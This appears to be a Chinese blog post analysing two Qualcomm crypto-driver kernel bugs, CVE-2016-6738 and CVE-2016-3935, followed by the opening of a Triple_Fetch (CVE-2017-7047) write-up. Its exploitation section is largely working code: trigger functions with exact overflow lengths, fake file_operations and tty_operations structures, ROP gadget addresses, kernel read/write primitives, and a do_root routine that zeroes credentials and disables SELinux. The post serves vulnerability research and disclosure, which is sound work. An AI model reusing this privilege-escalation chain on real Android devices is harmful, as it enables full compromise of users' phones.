行1195调用函数 submit_req ,这个函数的作用是提交一个 buffer 给高通加解密引擎进行加解密,buffer 的设置由函数 sg_set_buf 完成,通过行 1186 可以看到,变量 k_align_dst 就是被传进去的 buffer , 经过这个操作后, 变量  k_align_dst 的值会被改变, 即我们通过__copy_to_user 传递给 creq->vbuf.dst[dst_i].vaddr 的值是被加密或者解密过一次的值。

那么我们怎么控制最终写到任意地址的那个值呢?

思路很直接,

我们将要写的值先用一个秘钥和算法加密一次,然后再用解密的模式触发漏洞,在漏洞触发过程中,会自动解密
,如下:

1) 假设我们最终要写的数据是A, 我们先选一个加密算法和key进行加密

buf = A
op = QCEDEV_OPER_ENC  // operation 为加密
alg = QCEDEV_ALG_DES // 算法
mode = QCEDEV_DES_MODE_ECB
key = xxx  // 秘钥

=>  B

2) 然后将B作为参数传入 qcedev_vbuf_ablk_cipher_max_xfer 函数触发漏洞,同时参数设置为解密操作,并且传入同样的解密算法和key

buf = B
op = QCEDEV_OPER_DEC //// operation 为解密
alg = QCEDEV_ALG_DES // 一样的算法
mode = QCEDEV_DES_MODE_ECB
key = xxx // 一样的秘钥

=> A

这样的话,经过 submit_req 操作后, line 1204 得到的  k_align_dst 就是我们需要的数据。

至此,我们得到了一个

任意地址写任意值的漏洞
。

CVE-2016-6738 漏洞补丁

这个 漏洞的修复 很直观,将 in_place_op 的判断去掉了,对 creq->vbuf.src  和 creq->vbuf.dst 两个数组里的地址挨个进行 access_ok 校验

下面看第二个漏洞

CVE-2016-3935 漏洞成因 

long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
        switch (cmd) {
...
        case QCEDEV_IOCTL_SHA_INIT_REQ:
                {
                struct scatterlist sg_src;
                if (!access_ok(VERIFY_WRITE, (void __user *)arg,
                                sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;

                if (__copy_from_user(&qcedev_areq.sha_op_req,
                                        (void __user *)arg,
                                        sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;
                if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
                        return -EINVAL;
...
                break;
...
        case QCEDEV_IOCTL_SHA_UPDATE_REQ:
                {
                struct scatterlist sg_src;
                if (!access_ok(VERIFY_WRITE, (void __user *)arg,
                                sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;

                if (__copy_from_user(&qcedev_areq.sha_op_req,
                                        (void __user *)arg,
                                        sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;
                if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
                        return -EINVAL;
...
                break;
...
        default:
                return -ENOTTY;
        }

        return err;
}

在 command 为下面几个case 里都会调用 qcedev_check_sha_params 函数对用户态传入的数据进行合法性校验

  • QCEDEV_IOCTL_SHA_INIT_REQ

  • QCEDEV_IOCTL_SHA_UPDATE_REQ

  • QCEDEV_IOCTL_SHA_FINAL_REQ

  • QCEDEV_IOCTL_GET_SHA_REQ

static int qcedev_check_sha_params(struct qcedev_sha_op_req *req,
                                                struct qcedev_control *podev)
{
        uint32_t total = 0;
        uint32_t i;
...

        /* Check for sum of all src length is equal to data_len  */
        for (i = 0, total = 0; i < req->entries; i++) {
                if (req->data[i].len > ULONG_MAX - total) {
                        pr_err("%s: Integer overflow on total req buf length\n",
                                __func__);
                        goto sha_error;
                }
                total += req->data[i].len;
        }

        if (total != req->data_len) {
                pr_err("%s: Total src(%d) buf size != data_len (%d)\n",
                        __func__, total, req->data_len);
                goto sha_error;
        }
        return 0;
sha_error:
        return -EINVAL;
}

qcedev_check_sha_params 对用户态传入的数据做多种校验,其中一项是对传入的数据数组挨个累加长度,并对总长度做整数溢出校验

问题在于, req->data[i].len 是 uint32_t 类型, 总长度 total 也是 uint32_t 类型,uint32_t 的上限是 UINT_MAX, 而这里使用了 ULONG_MAX 来做校验

usr/include/limits.h

/* Maximum value an `unsigned long int' can hold.  (Minimum is 0.)  */
#  if __WORDSIZE == 64
#   define ULONG_MAX    18446744073709551615UL
#  else
#   define ULONG_MAX    4294967295UL
#  endif

注意到:

  • 32 bit 系统, UINT_MAX = ULONG_MAX

  • 64 bit 系统, UINT_MAX != ULONG_MAX

所以这里的整数溢出校验

在64bit系统是无效的
,即在 64bit 系统,req->data 数组项的总长度可以整数溢出,这里还无法确定这个整数溢出能造成什么后果。

下面看看有何影响,我们选取 case QCEDEV_IOCTL_SHA_UPDATE_REQ

long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...     
        case QCEDEV_IOCTL_SHA_UPDATE_REQ:
                {
                struct scatterlist sg_src;
                if (!access_ok(VERIFY_WRITE, (void __user *)arg,
                                sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;

                if (__copy_from_user(&qcedev_areq.sha_op_req,
                                        (void __user *)arg,
                                        sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;
                if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
                        return -EINVAL;
                qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_SHA;

                if (qcedev_areq.sha_op_req.alg == QCEDEV_ALG_AES_CMAC) {
                        err = qcedev_hash_cmac(&qcedev_areq, handle, &sg_src);
                        if (err)
                                return err;
                } else {
                        if (handle->sha_ctxt.init_done == false) { 
                                pr_err("%s Init was not called\n", __func__);
                                return -EINVAL;
                        }
                        err = qcedev_hash_update(&qcedev_areq, handle, &sg_src);
                        if (err)
                                return err;
                }

                memcpy(&qcedev_areq.sha_op_req.digest[0],
                                &handle->sha_ctxt.digest[0],
                                handle->sha_ctxt.diglen);
                if (__copy_to_user((void __user *)arg, &qcedev_areq.sha_op_req,
                                        sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;
                }
                break;
...
        return err;
}

qcedev_areq.sha_op_req.alg 的值也是应用层控制的,当等于 QCEDEV_ALG_AES_CMAC 时,进入函数 qcedev_hash_cmac

 868 static int qcedev_hash_cmac(struct qcedev_async_req *qcedev_areq,
 869                                         struct qcedev_handle *handle,
 870                                         struct scatterlist *sg_src)
 871 {
 872         int err = 0;
 873         int i = 0;
 874         uint32_t total;
 875 
 876         uint8_t *user_src = NULL;
 877         uint8_t *k_src = NULL;
 878         uint8_t *k_buf_src = NULL;
 879 
 880         total = qcedev_areq->sha_op_req.data_len;
 881 
 882         /* verify address src(s) */
 883         for (i = 0; i < qcedev_areq->sha_op_req.entries; i++)
 884                 if (!access_ok(VERIFY_READ,
 885                         (void __user *)qcedev_areq->sha_op_req.data[i].vaddr,
 886                         qcedev_areq->sha_op_req.data[i].len))
 887                         return -EFAULT;
 888 
 889         /* Verify Source Address */
 890         if (!access_ok(VERIFY_READ,
 891                                 (void __user *)qcedev_areq->sha_op_req.authkey,
 892                                 qcedev_areq->sha_op_req.authklen))
 893                         return -EFAULT;
 894         if (__copy_from_user(&handle->sha_ctxt.authkey[0],
 895                                 (void __user *)qcedev_areq->sha_op_req.authkey,
 896                                 qcedev_areq->sha_op_req.authklen))
 897                 return -EFAULT;
 898 
 899 
 900         k_buf_src = kmalloc(total, GFP_KERNEL);
 901         if (k_buf_src == NULL) {
 902                 pr_err("%s: Can't Allocate memory: k_buf_src 0x%lx\n",
 903                                 __func__, (uintptr_t)k_buf_src);
 904                 return -ENOMEM;
 905         }
 906 
 907         k_src = k_buf_src;
 908 
 909         /* Copy data from user src(s) */
 910         user_src = (void __user *)qcedev_areq->sha_op_req.data[0].vaddr;
 911         for (i = 0; i < qcedev_areq->sha_op_req.entries; i++) {
 912                 user_src =
 913                         (void __user *)qcedev_areq->sha_op_req.data[i].vaddr;
 914                 if (user_src && __copy_from_user(k_src, (void __user *)user_src,
 915                                 qcedev_areq->sha_op_req.data[i].len)) {
 916                         kzfree(k_buf_src);
 917                         return -EFAULT;
 918                 }
 919                 k_src += qcedev_areq->sha_op_req.data[i].len;
 920         }
...
}

在函数 qcedev_hash_cmac 里, line 900 申请的堆内存 k_buf_src 的长度是 qcedev_areq->sha_op_req.data_len ,即请求数组里所有项的长度之和

然后在 line 911 ~ 920 的循环里,会将请求数组 qcedev_areq->sha_op_req.data[] 里的元素挨个拷贝到堆 k_buf_src 里,由于前面存在的整数溢出漏洞,这里会转变成为一个堆溢出漏洞,至此漏洞坐实。

CVE-2016-3935 漏洞补丁 

3935patch.png

这个 漏洞补丁 也很直观,就是在做整数溢出时,将 ULONG_MAX 改成了 U32_MAX, 这种因为系统由32位升级到64位导致的代码漏洞,是 2016 年的一类常见漏洞

下面进入漏洞利用分析

漏洞利用 

android kernel 漏洞利用基础

在介绍本文两个漏洞的利用之前,先回顾一下 android kernel 漏洞利用的基础知识

什么是提权

include/linux/sched.h

struct task_struct {
        volatile long state;    /* -1 unrunnable, 0 runnable, >0 stopped */
        void *stack;
...
/* process credentials */
        const struct cred __rcu *real_cred; /* objective and real subjective task
                                         * credentials (COW) */
        const struct cred __rcu *cred;  /* effective (overridable) subjective task
                                         * credentials (COW) */
        char comm[TASK_COMM_LEN]; /* executable name excluding path
                                     - access with [gs]et_task_comm (which lock
                                       it with task_lock())
                                     - initialized normally by setup_new_exec */
...
}

linux kernel 里,进程由 struct task_struct 表示,进程的权限由该结构体的两个成员 real_credcred 表示

include/linux/cred.h

struct cred {
        atomic_t        usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t        subscribers;    /* number of processes subscribed */
        void            *put_addr;
        unsigned        magic;
#define CRED_MAGIC      0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
        kuid_t          uid;            /* real UID of the task */
        kgid_t          gid;            /* real GID of the task */
        kuid_t          suid;           /* saved UID of the task */
        kgid_t          sgid;           /* saved GID of the task */
        kuid_t          euid;           /* effective UID of the task */
        kgid_t          egid;           /* effective GID of the task */
        kuid_t          fsuid;          /* UID for VFS ops */
        kgid_t          fsgid;          /* GID for VFS ops */
...
}

所谓提权,就是修改进程的 real_cred/cred 这两个结构体的各种 id 值,随着缓解措施的不断演进,完整的提权过程还需要修改其他一些内核变量的值,但是最基础的提权还是修改本进程的 cred, 这个任务又可以分解为多个问题:

  • 怎么找到目标 cred ?

  • cred 所在内存页面是否可写?

  • 如何利用漏洞往 cred 所在地址写值?

利用方法回顾 

exphistory.png

[图片来自]

上图是最近若干年围绕 android kernel 漏洞利用和缓解的简单回顾,

  • 09 ~ 10 年的时候,由于没有对 mmap 的地址范围做任何限制,应用层可以映射0页面,null pointer deref 漏洞在当时也是可以做利用的,后面针对这种漏洞推出了 mmap_min_addr 限制,目前 null pointer deref 漏洞一般只能造成 dos.

  • 11 ~ 13 年的时候,常用的提权套路是从 /proc/kallsyms 搜索符号 commit_credsprepare_kernel_cred 的地址,然后在用户态通过这两个符号构造一个提权函数(如下),

```c
shellcode:

static void
obtain_root_privilege_by_commit_creds(void)
{
      commit_creds(prepare_kernel_cred(0));
}
```

可以看到,这个阶段的用户态 shellcode 非常简单, 利用漏洞改写内核某个函数指针(最常见的就是 ptmx 驱动的 fsync 函数)将其实现替换为用户态的函数, 最后在用户态调用被改写的函数, 这样的话从内核直接执行用户态的提权函数完成提权

这种方法在开源root套件 android_run_root_shell 得到了充分提现

后来,内核推出了kptr_restrict/dmesg_restrict 措施使得默认配置下无法从 /proc/kallsyms 等接口搜索内核符号的地址

但是这种缓解措施很容易绕过, android_run_root_shell 里提供了两种方法:

  1. 通过一些内存 pattern 直接在内存空间里搜索符号地址,从而得到 commit_creds/prepare_kernel_cred 的值;
    libkallsyms:get_kallsyms_in_memory_addresses

  2. 放弃使用 commit_creds/prepare_kernel_cred 这两个内核函数,从内核里直接定位到 task_struct 和 cred 结构并改写
    obtain_root_privilege_by_modify_task_cred

  • 2013 推出 text RO 和 PXN 等措施,通过漏洞改写内核代码段或者直接跳转到用户态执行用户态函数的提权方式失效了, android_run_root_shell 这个项目里的方法大部分已经失效, 在 PXN 时代,主要的提权思路是使用rop

具体的 rop 技巧有几种,

  1. 下面两篇文章讲了基本的 linux kernel ROP 技巧

Linux Kernel ROP - Ropping your way to # (Part 1)/)

Linux Kernel ROP - Ropping your way to # (Part 2)/)

6a0133f264aa62970b01b7c86b399a970b-800wi.png

可以看到这两篇文章的方法是搜索一些 rop 指令 ,然后用它们串联 commit_creds/prepare_kernel_cred, 是对上一阶段思路的自然延伸。

  1. 使用 rop 改写 addr_limit 的值,破除本进程的系统调用 access_ok 校验,然后通过一些函数如 ptrace_write_value_at_address 直接读写内核来提权, 将 selinux_enforcing 变量写0关闭 selinux

  2. 大名鼎鼎的 Ret2dir bypass PXN

  3. 还有就是本文使用的思路,用漏洞重定向内核驱动的 xxx_operations 结构体指针到应用层,再用 rop 地址填充应用层的伪 xxx_operations 里的函数实现

  4. 还有一些 2017 新出来的绕过缓解措施的技巧,参考

  • 进入2017年,更多的漏洞缓解措施正在被开发和引进,谷歌的nick正在主导开发的项目 Kernel_Self_Protection_Project 对内核漏洞提权方法进行了分类整理,如下

* [Kernel location](https://kernsec.org/wiki/index.php/Exploit_Methods/Kernel_location)
* [Text overwrite](https://kernsec.org/wiki/index.php/Exploit_Methods/Text_overwrite)
* [Function pointer overwrite](https://kernsec.org/wiki/index.php/Exploit_Methods/Function_pointer_overwrite)
* [Userspace execution](https://kernsec.org/wiki/index.php/Exploit_Methods/Userspace_execution)
* [Userspace data usage](https://kernsec.org/wiki/index.php/Exploit_Methods/Userspace_data_usage)
* [Reused code chunks](https://kernsec.org/wiki/index.php/Exploit_Methods/Reused_code_chunks)

针对以上提权方法,Kernel_Self_Protection_Project 开发了对应的一系列缓解措施,目前这些措施正在逐步推入linux kernel 主线,下面是其中一部分缓解方案,可以看到,我们回顾的所有利用方法都已经被考虑在内,不久的将来,这些方法可能都会失效

  • Split thread_info off of kernel stack (Done: x86, arm64, s390. Needed on arm, powerpc and others?) * Move kernel stack to vmap area (Done: x86, s390. Needed on arm, arm64, powerpc and others?)

  • Implement kernel relocation and KASLR for ARM

  • Write a plugin to clear struct padding

  • Write a plugin to do format string warnings correctly (gcc’s -Wformat-security is bad about const strings)

  • Make CONFIG_STRICT_KERNEL_RWX and CONFIG_STRICT_MODULE_RWX mandatory (done for arm64 and x86, other archs still need it)

  • Convert remaining BPF JITs to eBPF JIT (with blinding) (In progress: arm)

  • Write lib/test_bpf.c tests for eBPF constant blinding

  • Further restriction of perf_event_open (e.g. perf_event_paranoid=3)

  • Extend HARDENED_USERCOPY to use slab whitelisting (in progress)

  • Extend HARDENED_USERCOPY to split user-facing malloc()s and in-kernel malloc()svmalloc stack guard pages (in progress)

  • protect ARM vector table as fixed-location kernel target

  • disable kuser helpers on arm

  • rename CONFIG_DEBUG_LIST better and default=y

  • add WARN path for page-spanning usercopy checks (instead of the separate CONFIG)

  • create UNEXPECTED(), like BUG() but without the lock-busting, etc

  • create defconfig “make” target for by-default hardened Kconfigs (using guidelines below)

  • provide mechanism to check for ro_after_init memory areas, and reject structures not marked ro_after_init in vmbus_register()

  • expand use of __ro_after_init, especially in arch/arm64

  • Add stack-frame walking to usercopy implementations (Done: x86. In progress: arm64. Needed on arm, others?)

  • restrict autoloading of kernel modules (like GRKERNSEC_MODHARDEN) (In progress: Timgad LSM)

有兴趣的同学可以进入该项目看看代码,提前了解一下缓解措施,

比如

KASLR for ARM
, 将大部分内核对象的地址做了随机化处理,这是以后 android kernel exploit 必须面对的;

另外比如

__ro_after_init
,内核启动完成初始化之后大部分 fops 全局变量都变成 readonly 的,这造成了本文这种利用方法失效, 所幸的是,目前 android kernel 还是可以用的。

本文使用的利用方法 [^]

对照 Kernel_Self_Protection_Project 的利用分类,本文的利用思路属于 Userspace data usage

Sometimes an attacker won’t be able to control the instruction pointer directly, but they will be able to redirect the dereference a structure or other pointer. In these cases, it is easiest to aim at malicious structures that have been built in userspace to perform the exploitation.

具体来说,我们在应用层构造一个伪 file_operations 结构体(其他如 tty_operations 也可以),然后通过漏洞改写内核某一个驱动的 fops 指针,将其改指向我们在应用层伪造的结构体,之后,我们搜索特定的 rop 并随时替换这个伪 file_operations 结构体里的函数实现,就可以做到在内核多次执行任意代码(取决于rop) ,这种方法的好处包括:

  1. 内核有很多驱动,所以 fops 非常多,地址上也比较分散,对一些溢出类漏洞来说,选择比较多

  2. 内核的 fops 一般都存放在 writable 的 data 区,至少目前android 主流 kernel 依然如此

  3. 将内核的 fops 指向用户空间后,用户空间可以随意改写其内部函数的实现

  4. 只需要一次内核写

下面结合漏洞说明怎么利用

CVE-2016-6738 漏洞利用 

CVE-2016-6738 是一个任意地址写任意值的漏洞,利用代码已经提交在 EXP-CVE-2016-6738

我们选择重定向 /dev/ptmx 设备的 file_operations, 先在用户态构造一个伪结构,如下

        map = mmap(0x1000000, (size_t)0x10000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);
        if(map == MAP_FAILED) {
                printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno));
                ret = -1;
                goto out;
        }
        //printf("[+] landing mmap'ed @ %p\n", map);
        memset(map, 0x0, 0x10000);
        fake_ptmx_fops = map;
        printf("[+] fake_ptmx_fops = 0x%lx\n",fake_ptmx_fops);
        *(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;
        *(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;
        *(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;
        *(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;
        *(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;
        *(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;
        *(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;
        *(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;
        *(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;

根据前面的分析,伪结构的值需要先做一次加密,再使用

    unsigned long edata = 0;
        qcedev_encrypt(fd, fake_ptmx_fops, &edata);
        trigger(fd, edata);

下面是核心的函数

static int trigger(int fd, unsigned long src)
{
        int cmd;
        int ret;
        int size;
        unsigned long dst;
        struct qcedev_cipher_op_req params;

        dst = PTMX_MISC + 8 * 9; // patch ptmx_cdev->ops
        size = sizeof(unsigned long);
        memset(&params, 0, sizeof(params));
        cmd = QCEDEV_IOCTL_DEC_REQ;
        params.entries = 1;
        params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr
        params.alg = QCEDEV_ALG_DES;
        params.mode = QCEDEV_DES_MODE_ECB;
        params.data_len = size;
        params.vbuf.src[0].len = size;
        params.vbuf.src[0].vaddr = &src;
        params.vbuf.dst[0].len = size;
        params.vbuf.dst[0].vaddr = dst;
        memcpy(params.enckey,"test", 16);
        params.encklen = 16;

        printf("[+] overwrite ptmx_cdev ops\n");
        ret = ioctl(fd, cmd, &params); // trigger 
        if(ret == -1) {
                printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno);
                return -1;
        }
        return 0;

}

参数 src 就是 fake_ptmx_fops 加密后的值,我们将其地址放入 qcedev_cipher_op_req.vbuf.src[0].vaddr 里,目标地址 qcedev_cipher_op_req.vbuf.dst[0].vaddr 存放 ptmx_cdev->ops 的地址,然后调用 ioctl 触发漏洞,任意地址写漏洞触发后,目标地址 ptmx_cdev->ops 的值会被覆盖为 fake_ptmx_fops.

此后,对 ptmx 设备的内核fops函数执行,都会被重定向到用户层伪造的函数,我们通过一些rop 片段来实现伪函数,就可以被内核直接调用。

/*
 * rop write:
 * ffffffc000671a58:       b9000041        str     w1, [x2]
 * ffffffc000671a5c:       d65f03c0        ret
 */
#define ROP_WRITE       0xffffffc000671a58

比如,我们找到一段 rop 如上,其地址是 0xffffffc000671a58, 其指令是 str w1, [x2] ; ret ;

这段 rop 作为一个函数去执行的话,其效果相当于将第二个参数的值写入第三个参数指向的地址。

我们用这段 rop 构造一个用户态函数,如下

static int kernel_write_32(unsigned long addr, unsigned int val)
{
        unsigned long arg;

        *(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;

        arg = addr;
        ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg);
        return 0;
}

9*8 是 ioctl 函数在 file_operations 结构体里的偏移,

*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;

的效果就是 ioctl 的函数实现替换成 ROP_WRITE, 这样我们调用 ptmx 的 ioctl 函数时,最后真实执行的是 ROP_WRITE, 这就是一个内核任意地址写任意值函数。

同样的原理,我们封装读任意内核地址的函数。

有了任意内核地址读写函数之后,我们通过以下方法完成最终提权:

static int do_root(void)
{
        int ret; 
        unsigned long i, cred, addr;
        unsigned int tmp0;

        /* search myself */
        ret = get_task_by_comm(&my_task);
        if(ret != 0) {
                printf("[-] get myself fail!\n");
                return -1;
        }
        if(!my_task || (my_task < 0xffffffc000000000)) {
                printf("invalid task address!");
                return -2;
        }

        ret = kernel_read(my_task + cred_offset, &cred);
        if (cred < KERNEL_BASE) return -3;

        i = 1; 
        addr = cred + 4 * 4;
        ret = kernel_read_32(addr, &tmp0);
        if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
                i += 4;
        addr = cred + (i+0) * 4;
        ret = kernel_write_32(addr, 0);
        addr = cred + (i+1) * 4;
        ret = kernel_write_32(addr, 0);
...     
        ret = kernel_write_32(addr, 0xffffffff);
        addr = cred + (i+16) * 4;
        ret = kernel_write_32(addr, 0xffffffff);
        /* success! */

        // disable SELinux
        kernel_write_32(SELINUX_ENFORCING, 0);

        return 0;
}

搜索到本进程的 cred 结构体,并使用我们封装的内核读写函数,将其成员的值改为0,这样本进程就变成了 root 进程。
搜索本进程 task_struct 的函数 get_task_by_comm  具体实现参考 github 的代码。

CVE-2016-3935 漏洞利用 

这个漏洞的提权方法跟 6738 是一样的,唯一不同的地方是,这是一个堆溢出漏洞,我们只能覆盖堆里边的 fops (cve-2016-6738 我们覆盖的是 .data 区里的 fops )。

在我测试的版本里,k_buf_src 是从 kmalloc-4096 分配出来的,因此,需要找到合适的结构来填充 kmalloc-4096 ,经过一些源码搜索,我找到了 tty_struct 这个结构

include/linux/tty.h
struct tty_struct {
        int     magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;
        int index;
...
}

在我做利用的设备里,这个结构是从 kmalloc-4096 堆里分配的,其偏移 24Byte 的地方是一个 struct tty_operations 的指针,我们溢出后重写这个结构体,用一个用户态地址覆盖这个指针。

#define TTY_MAGIC               0x5401
void trigger(int fd)
{

#define SIZE 632 // SIZE = sizeof(struct tty_struct)

        int ret, cmd, i;
        struct  qcedev_sha_op_req params;
        int *magic;
        unsigned long * ttydriver;
        unsigned long * ttyops;

        memset(&params, 0, sizeof(params));
        params.entries = 9;
        params.data_len = SIZE;
        params.authklen = 16;
        params.authkey = &trigger_buf[0];
        params.alg = QCEDEV_ALG_AES_CMAC;

// when tty_struct coming from kmalloc-4096
        magic =(int *) &trigger_buf[4096];
        *magic = TTY_MAGIC;
        ttydriver = (unsigned long*)&trigger_buf[4112];
        *ttydriver = &trigger_buf[0];
        ttyops = (unsigned long*)&trigger_buf[4120];
        *ttyops = fake_ptm_fops;
        params.data[0].len = 4128;
        params.data[0].vaddr = &trigger_buf[0];
        params.data[1].len = 536867423 ;
        params.data[1].vaddr = NULL;
        for (i = 2; i < params.entries; i++) {
                params.data[i].len = 0x1fffffff;
                params.data[i].vaddr = NULL;
        }

        cmd = QCEDEV_IOCTL_SHA_UPDATE_REQ;
        ret = ioctl(fd, cmd, &params);
        if(ret<0) {
                printf("[-] ioctl fail %s\n",strerror(errno));
                return;
        }
        printf("[+] succ trigger\n");
}

4128 + 536867423 + 7 * 0x1fffffff = 632

溢出的方法如上,我们让 entry 的数目为 9 个,第一个长度为 4128, 第二个为 536867423, 其他7个为0x1fffffff

这样他们加起来溢出之后的值就是 632, 这个长度刚好是 struct tty_struct 的长度,我们用  qcedev_sha_op_req.data[0].vaddr[4096] 这个数据来填充被溢出的 tty_struct 的内容

主要是填充两个地方,一个是最开头的 tty magic, 另一个就是偏移 24Bype 的 tty_operations 指针,我们将这个指针覆盖为伪指针 fake_ptm_fops.

之后的提权操作与 cve-2016-6738 类似,

include/linux/tty_driver.h

struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                        struct inode *inode, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                      const unsigned char *buf, int count);
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                    unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,
                             unsigned int cmd, unsigned long arg);
...
}

如上,ioctl 函数在 tty_operations 结构体里偏移 12 个指针,当我们用 ROP_WRITE 覆盖这个位置时,可以得到一个内核地址写函数。

#define ioctl_syscall(n, efd, cmd, arg) \
        eabi_syscall(n, efd, cmd, arg)
ENTRY(eabi_syscall)
        mov     x8, x0
        mov     x0, x1
        mov     x1, x2
        mov     x2, x3
        mov     x3, x4
        mov     x4, x5
        mov     x5, x6
        svc     #0x0
        ret
END(eabi_syscall)

/* 
 * rop write
 * ffffffc000671a58:       b9000041        str     w1, [x2]
 * ffffffc000671a5c:       d65f03c0        ret
 */
#define ROP_WRITE               0xffffffc000671a58

static int kernel_write_32(unsigned long addr, unsigned int val)
{
        unsigned long arg;

        *(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_WRITE;

        arg = addr;
        ioctl_syscall(__NR_ioctl, fake_fd, val, arg);
        return 0;
}

同理,当我们用 ROP_READ 覆盖这个位置时,可以得到一个内核地址写函数。

/*
 * rop read
 * ffffffc000300060:       f9405440        ldr     x0, [x2,#168]
 * ffffffc000300064:       d65f03c0        ret
 */
#define ROP_READ                0xffffffc000300060

static int kernel_read_32(unsigned long addr, unsigned int *val)
{
        int ret;
        unsigned long arg;

        *(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_READ;
        arg = addr - 168;
        errno = 0;
        ret = ioctl_syscall(__NR_ioctl, fake_fd, 0xdeadbeef, arg);
        *val = ret;
        return 0;
}

最后,用封装好的内核读写函数,修改内核的 cred 等结构体完成提权。

参考 


android_run_root_shell

xairy

New Reliable Android Kernel Root Exploitation Techniques

原文://www.iceswordlab.com/2017/08/07/qualcomm-crypto-engine-vulnerabilities-exploits/

]]>
//www.wpr29.cn/2792.html/feed 0
CVE-2017-7047 Triple_Fetch 漏洞与利用技术分析 - 港妹免费六合图库▁九龙六合图库2013▁管家婆六合心水论坛▁六合图库 护民▁万家福六合心水论坛 //www.wpr29.cn/2788.html //www.wpr29.cn/2788.html#respond Thu, 03 Aug 2017 15:19:17 +0000 //www.wpr29.cn/?p=2788 作者:Liang Chen (@chenliang0817)

昨天Google Project Zero的Ian Beer发布了CVE-2017-7047的漏洞细节,以及一个叫Triple_Fetch的漏洞利用app,可以拿到所有10.3.2及以下版本的用户态Root+无沙盒权限,昨天我看了一下这个漏洞和利用的细节,总得来说整个利用思路还是非常精妙的。我决定写这篇文章,旨在尽可能地记录下Triple_Fetch以及CVE-2017-7047的每一个精彩的细节。

CVE-2017-7047漏洞成因与细节

这是个libxpc底层实现的漏洞。我们知道,其实libxpc是在macOS/iOS的mach_msg基础上做了一层封装,使得以前一些因为使用或开发MIG接口的过程中因为对MIG接口细节不熟悉导致的漏洞变得越来越少。有关MIG相关的内容可以参考我以前的文章//keenlab.tencent.com/en/2016/07/22/WindowServer-The-privilege-chameleon-on-macOS-Part-1/ ,这里不再详细叙述。
XPC自己实现了一套类似于CFObject/OSObject形式的对象库,对应的数据结构为OS_xpc_xxx(例如OS_xpc_dictionary, OS_xpc_data等),当客户端通过XPC发送数据时,_xpc_serializer_pack函数会被调用,将要发送的OS_xpc_xxx对象序列化成binary形式。注意到,如果发送的数据中存在OS_xpc_data对象(可以是作为OS_xpc_array或者OS_xpc_dictionary等容器类的元素)时,对应的serialize函数_xpc_data_serialize会进行判断:

__int64 __fastcall _xpc_data_serialize(__int64 a1, __int64 a2)
{
...
  if ( *(_QWORD *)(a1 + 48) > 0x4000uLL ) //这里判断data的长度
  {
    v3 = dispatch_data_make_memory_entry(*(_QWORD *)(a1 + 32)); //获取这块内存的send right
    ...
  }
...
}

当OS_xpc_data对象的数据大于0x4000时,_xpc_data_serialize函数会调用dispatch_data_make_memory_entry,dispatch_data_make_memory_entry调用mach_make_memory_entry_64。mach_make_memory_entry_64返回给用户一个mem_entry_name_port类型的send right, 用户可以紧接着调用mach_vm_map将这个send right对应的memory映射到自己进程的地址空间。也就是说,对大于0x4000的OS_xpc_data数据,XPC在传输的时候会避免整块内存的传输,而是通过传port的方式让接收端拿到这个memory的send right,接收端接着通过mach_vm_map的方式映射这块内存。接收端反序列化OS_xpc_data的相关代码如下:

__int64 __fastcall _xpc_data_deserialize(__int64 a1)
{
  if ( _xpc_data_get_wire_value(a1, (__int64 *)&v8, &v7) ) //获取data内容
  {
    ...
  }
  return v1;
}
char __fastcall _xpc_data_get_wire_value(__int64 a1, _QWORD *a2, mach_vm_size_t *a3)
{
...
  if ( v6 )
  {
    v7 = *v6;
    if ( v7 > 0x4000 )//数据大于0x4000时,则获取mem_entry_name_port来映射内存
    {
      v8 = 0;
      name = 0;
      v17 = 0;
